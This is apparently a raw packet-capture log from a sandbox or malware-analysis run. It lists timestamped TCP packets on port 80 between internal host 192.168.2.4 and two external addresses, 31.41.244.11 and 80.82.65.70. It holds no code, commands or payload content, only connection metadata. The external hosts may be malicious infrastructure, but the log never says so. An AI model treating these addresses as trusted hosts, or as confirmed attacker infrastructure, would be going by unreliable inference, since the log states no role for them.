Dec 13, 2024 01:51:33.673089981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.673135042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.673986912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.674037933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.674041033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.674082994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.674987078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.675040007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.675069094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.675111055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.675940037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.676002979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.676048994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.676114082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.676934004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.677052021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.677104950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.677953959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.678020954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.678073883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.678162098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.679198027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.679380894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.679429054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.680778027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.680829048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.681008101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.681055069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.682589054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.682638884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.682769060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.682812929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.684068918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.684086084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.684163094 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.684564114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.684581041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.684617043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.684647083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.684962988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.685061932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.685115099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.685472012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.685525894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.685563087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.685610056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.686033964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.686088085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.686117887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.686192036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.686861038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.686912060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.827097893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.827153921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.827299118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.827606916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.827665091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.827783108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.828346014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.828406096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.828413963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.828479052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.829405069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.829442978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.829456091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.829488039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.830332041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.830461979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.830513954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.831358910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.831413031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.831549883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.831599951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.832319021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.832372904 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.832451105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.832519054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.833302021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.833359003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.833441019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.833497047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.834290981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.834359884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.834428072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.834476948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.835370064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.835422993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.835508108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.835573912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.836329937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.836388111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.836426973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.836479902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.837251902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.837305069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.837351084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.837400913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.838294983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.838397980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.838449955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.839297056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.839358091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.839437008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.839488029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.840286970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.840337992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.840380907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.840436935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.841284990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.841399908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.841449976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.842257023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.842314005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.842317104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.842365026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.843290091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.843347073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.843463898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.843525887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.844290018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.844356060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.844393015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.844439030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.845319986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.845367908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.845446110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.845494032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.846256971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.846394062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.846452951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.847268105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.847318888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.847388983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.847436905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.848381996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.848437071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.848597050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.848643064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.849302053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.849350929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.849432945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.849483013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.850254059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.850375891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.850425005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.851284981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.851330996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.851392984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.851438999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.852238894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.852288008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.852351904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.852404118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.853450060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.853476048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.853519917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.854368925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.854408979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.854417086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.854454041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.855237007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.855287075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.855339050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.855380058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.856203079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.856247902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.856326103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.856369972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.857238054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.857326984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.857373953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.858208895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.858258009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.858361006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.858414888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.859217882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.859267950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.859318972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.859360933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.860220909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.860260963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.860265017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.860308886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.861284018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.861311913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.861358881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.862185001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.862245083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.862282038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.862318993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.863188982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.863256931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.863301992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.863348007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.864197969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.864245892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.864258051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.864301920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.865185976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.865307093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.865355968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.866168022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.866213083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.866262913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.866306067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.867486954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.867503881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.867532015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.867558002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.868160963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.868247986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.868294001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.869183064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.869275093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.869323015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.870170116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.870213985 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.870258093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.870301962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.871159077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.871202946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.871268988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.871310949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.872131109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.872178078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.872220993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.872262955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.873169899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.873307943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.873368979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.874181986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.874226093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.874270916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.874313116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.875160933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.875215054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.875257015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.875298023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.876276016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.876293898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.876319885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.876344919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.877315044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.877423048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.877469063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.878129005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.878282070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.878304958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.878360987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.879116058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.879633904 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.919333935 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919368982 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919387102 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919404984 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919420004 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919435978 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919451952 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919471979 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.919584036 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:33.919584036 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:33.927943945 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.927997112 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.928178072 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:33.936285019 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.936374903 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.936556101 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.018819094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.018961906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.019097090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.019303083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.019361019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.019469976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.019520044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.020564079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.020615101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.020760059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.020809889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.021291018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.021341085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.021404028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.021455050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.022373915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.022447109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.022497892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.022566080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.023274899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.023408890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.023461103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.024377108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.024425030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.024472952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.024523020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.025338888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.025388956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.025454998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.025500059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.026283026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.026328087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.026408911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.026454926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.027292967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.027465105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.027517080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.028279066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.028374910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.028403044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.028450966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.029277086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.029328108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.029330969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.029376030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.030282021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.030328989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.030409098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.030456066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.031305075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.031435966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.031487942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.032270908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.032319069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.032383919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.032428980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.033262968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.033317089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.033380985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.033432961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.034255028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.034384012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.034435034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.035276890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.035330057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.035403013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.035468102 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.036266088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.036313057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.036442041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.036492109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.037266016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.037314892 CET	49809	80	192.168.2.4	31.41.244.11
